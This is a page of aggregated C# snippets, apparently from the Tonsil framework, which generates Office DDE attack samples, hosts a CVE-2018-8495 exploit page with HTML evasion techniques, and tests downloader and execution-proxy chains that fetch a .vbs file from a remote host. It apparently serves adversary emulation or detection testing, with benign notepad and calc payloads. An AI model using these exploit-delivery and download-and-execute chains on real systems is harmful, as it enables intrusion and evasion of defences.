Beispiel #1
0
        public static IEnumerable <Tonsil.Files.File> GetAllFilesRead(Tonsil.Processes.Process process, bool remoteOnly = true)
        {
            var filesRead = new List <Tonsil.Files.File>();

            foreach (var file in process.FilesRead)
            {
                if (!remoteOnly || typeof(Tonsil.Files.RemoteFilePath).IsInstanceOfType(file.FilePath))
                {
                    filesRead.Add(file);
                }
            }

            foreach (var childProcess in process.ChildProcesses)
            {
                var files = GetAllFilesRead(childProcess);
                foreach (var file in files)
                {
                    if (!remoteOnly || typeof(Tonsil.Files.RemoteFilePath).IsInstanceOfType(file.FilePath))
                    {
                        filesRead.Add(file);
                    }
                }
            }

            return(filesRead);
        }
Beispiel #2
0
        // Office DDE Example
        private static IAttack OfficeDdeExample()
        {
            var samplesOutput = new SamplesOutput();
            var attackName    = "OfficeDde";
            var attack        = new Attack(new IOutput[] {
                samplesOutput,
            }, name: attackName);

            var cmdline = new Tonsil.Processes.CmdLine()
            {
                image = @"notepad", arguments = new string[] { }
            };
            var process     = new Tonsil.Processes.Process(cmdline);
            var processList = new ProcessList(new[] { process });

            var wordDde         = new WordDDE(processList);
            var wordDdeFilename = "WordDDE" + "." + wordDde.Extension;

            samplesOutput.Add(wordDdeFilename, wordDde);

            var excelDde         = new ExcelDDE(processList);
            var excelDdeFilename = "ExcelDDE" + "." + excelDde.Extension;

            samplesOutput.Add(excelDdeFilename, excelDde);

            attack.Generate();
            return(attack);
        }
Beispiel #3
0
        private static System.Diagnostics.Process[] GetProcesses(Tonsil.Processes.Process targetProcess)
        {
            Tonsil.Processes.CmdLine cmdline = targetProcess.CmdLine;
            System.IO.FileInfo       fi      = new System.IO.FileInfo(cmdline.image);
            string processName  = fi.Name;
            string friendlyName = System.IO.Path.GetFileNameWithoutExtension(processName);

            System.Diagnostics.Process[] processes = System.Diagnostics.Process.GetProcessesByName(friendlyName);
            return(processes);
        }
Beispiel #4
0
 private static void KillProcesses(Tonsil.Processes.Process targetProcess)
 {
     System.Diagnostics.Process[] processes = GetProcesses(targetProcess);
     foreach (var proc in processes)
     {
         try
         {
             proc.Kill();
         }
         catch
         {
             Console.WriteLine("Failed to kill process.");
         }
     }
 }
Beispiel #5
0
        // Kill targetProcess; Executes processUnderTest; checks if targetProcess is descendent of processUnderTest; kill targetProcess
        public static bool TestExecutionProxy(Tonsil.Processes.Process processUnderTest, Tonsil.Processes.Process targetProcess)
        {
            KillProcesses(targetProcess);
            System.Diagnostics.ProcessStartInfo si = new System.Diagnostics.ProcessStartInfo()
            {
                FileName  = processUnderTest.CmdLine.image,
                Arguments = string.Join(" ", processUnderTest.CmdLine.arguments),
                RedirectStandardOutput = false,
                RedirectStandardError  = false,
                RedirectStandardInput  = false,
                UseShellExecute        = false,
                WindowStyle            = System.Diagnostics.ProcessWindowStyle.Hidden
            };
            System.Diagnostics.Process rootProcess = System.Diagnostics.Process.Start(si);
            //System.Threading.Thread.Sleep(2 * 1000);
            rootProcess.WaitForExit(1000);
            var processes = GetProcesses(targetProcess);

            KillProcesses(targetProcess);
            return(processes.Length > 0);
        }
        private static IAttack HtmlmthServerOutputExample()
        {
            // Note: This sample can't use HOSTNAME = HostnameB since port 80 on HostnameB is already occupied by the HTTP Server from Sample4
            var HOSTNAME            = "HostnameC1"; // the DNS name "HostnameC1" points to the virtual host "VirtualHostC"
            var VIRTUALHOST         = "VirtualHostC";
            var HOST                = Host.GetHostByHostName(HOSTNAME) ?? new Host(VIRTUALHOST, HOSTNAME, null);
            var htmlmthServerOutput = new HtmlmthServerOutput(HOST); // the default port is 80
            var attackName          = "HtmlmthServerOutput";
            var attack              = new Attack(new IOutput[] {
                htmlmthServerOutput,
            }, name: attackName);

            // This represents a commandline used to create a new process
            var cmdline = new Tonsil.Processes.CmdLine()
            {
                image = @"calc", arguments = new string[] { }
            };
            var process = new Tonsil.Processes.Process(cmdline);
            // List of commandlines
            var processList = new ProcessList(new[] { process });
            // Note: this exploit enforces a ProcessList size of size 1
            var exploitWebsite = new CVE_2018_8495(processList);
            // Network Evasions to apply to the delivery of the exploit
            var exploitEvasions = new[] { // Refer to HTMLMTH documentation & source code for the available evasions
                "htmlmth.evasions.html.entity_encoding_attributes_dec",
                "htmlmth.evasions.html.external_resource_internal_script",
                "htmlmth.evasions.html.insert_slash_after_opening_tag_names",
                "htmlmth.evasions.html.bom_declared_utf_16be_encoded_as_utf_16_be"
            };
            // HtmlmthWebsite represents the HTTP resource(s) hosted by HTMLMTH server
            var exploitHtmlmthWebsite = new HtmlmthWebsite(exploitWebsite, HOST, exploitEvasions);

            // Dont forget to bookkeep
            htmlmthServerOutput.Add(exploitHtmlmthWebsite);

            attack.Generate();
            // The files needed to launch the HTMLMTH server should now be at $(ProjectDir)\bin\$(Configuration)\$(TargetFramework)\Output\Server\HostnameB\80_HTMLMTH_Server
            return(attack);
        }
Beispiel #7
0
        public static bool TestDownloader(Tonsil.Processes.Process processUnderTest, Tonsil.Files.File sourceFile, Tonsil.Files.File destinationFile)
        {
            System.IO.File.Delete(destinationFile.FilePath.Path);
            System.Diagnostics.ProcessStartInfo si = new System.Diagnostics.ProcessStartInfo()
            {
                FileName  = processUnderTest.CmdLine.image,
                Arguments = string.Join(" ", processUnderTest.CmdLine.arguments),
                RedirectStandardOutput = false,
                RedirectStandardError  = false,
                RedirectStandardInput  = false,
                UseShellExecute        = false,
                WindowStyle            = System.Diagnostics.ProcessWindowStyle.Hidden
            };
            System.Diagnostics.Process rootProcess = System.Diagnostics.Process.Start(si);

            System.Threading.Thread.Sleep(2 * 1000);
            rootProcess.WaitForExit(1000);

            bool result = System.IO.File.Exists(destinationFile.FilePath.Path);

            System.IO.File.Delete(destinationFile.FilePath.Path);
            return(result);
        }
Beispiel #8
0
        public static Dictionary <string, bool> TestExecutionProxyDownloaders()
        {
            Dictionary <string, bool> results = new Dictionary <string, bool>();

            string serverHost = "10.141.41.1";

            Tonsil.Files.HttpFilePath httpFilePath = new Tonsil.Files.HttpFilePath()
            {
                Host      = serverHost,
                Port      = 80,
                Directory = "/somedir/",
                Filename  = "somefile.vbs"
            };
            Tonsil.Files.SmbFilePath smbFilePath = new Tonsil.Files.SmbFilePath()
            {
                Host      = serverHost,
                Port      = 445,
                ShareName = "someshare",
                Directory = @"\somedir\",
                Filename  = "somefile.vbs"
            };
            Tonsil.Files.LocalFilePath localFilePath = new Tonsil.Files.LocalFilePath()
            {
                Directory = @"c:\",
                Filename  = "somefile.vbs"
            };

            List <Tonsil.Files.FilePath> filePaths = new List <Tonsil.Files.FilePath>()
            {
                httpFilePath, smbFilePath
            };

            Tonsil.Files.File destinationFile = new Tonsil.Files.File()
            {
                FileType = Tonsil.Files.FileType.VBScript,
                FilePath = localFilePath
            };

            Type     downloaderParentType = typeof(Tonsil.Processes.Downloaders.Downloader);
            Assembly assembly             = downloaderParentType.Assembly;

            Type[]             types = assembly.GetTypes();
            IEnumerable <Type> downloaderSubclasses     = types.Where(t => t.IsSubclassOf(downloaderParentType));
            Type executionProxyParentType               = typeof(Tonsil.Processes.ExecutionProxys.ExecutionProxy);
            IEnumerable <Type> executionProxySubclasses = types.Where(t => t.IsSubclassOf(executionProxyParentType));

            foreach (Type executionProxyType in executionProxySubclasses)
            {
                foreach (Type downloaderType in downloaderSubclasses)
                {
                    foreach (var filePath in filePaths)
                    {
                        Tonsil.Files.File sourceFile = new Tonsil.Files.File()
                        {
                            FilePath = filePath
                        };
                        Tonsil.Processes.Downloaders.Downloader downloadProcessUnderTest = (Tonsil.Processes.Downloaders.Downloader)Activator.CreateInstance(downloaderType);
                        if (downloadProcessUnderTest.IsValidSource(sourceFile) && downloadProcessUnderTest.IsValidDestination(sourceFile, destinationFile))
                        {
                            downloadProcessUnderTest.AddDownload(sourceFile, destinationFile);

                            Tonsil.Processes.Process targetProcess = downloadProcessUnderTest;
                            Tonsil.Processes.ExecutionProxys.ExecutionProxy processUnderTest = (Tonsil.Processes.ExecutionProxys.ExecutionProxy)Activator.CreateInstance(executionProxyType);
                            processUnderTest.AddCmdlineExecution(targetProcess);
                            bool result = TestDownloader(processUnderTest, sourceFile, destinationFile);
                            Console.WriteLine(string.Format("{1}: \t{0}", processUnderTest.CmdLine.ToString(), result ? "Pass" : "Fail"));
                            results.Add(processUnderTest.CmdLine.ToString(), result);
                        }
                    }
                }
            }
            return(results);
        }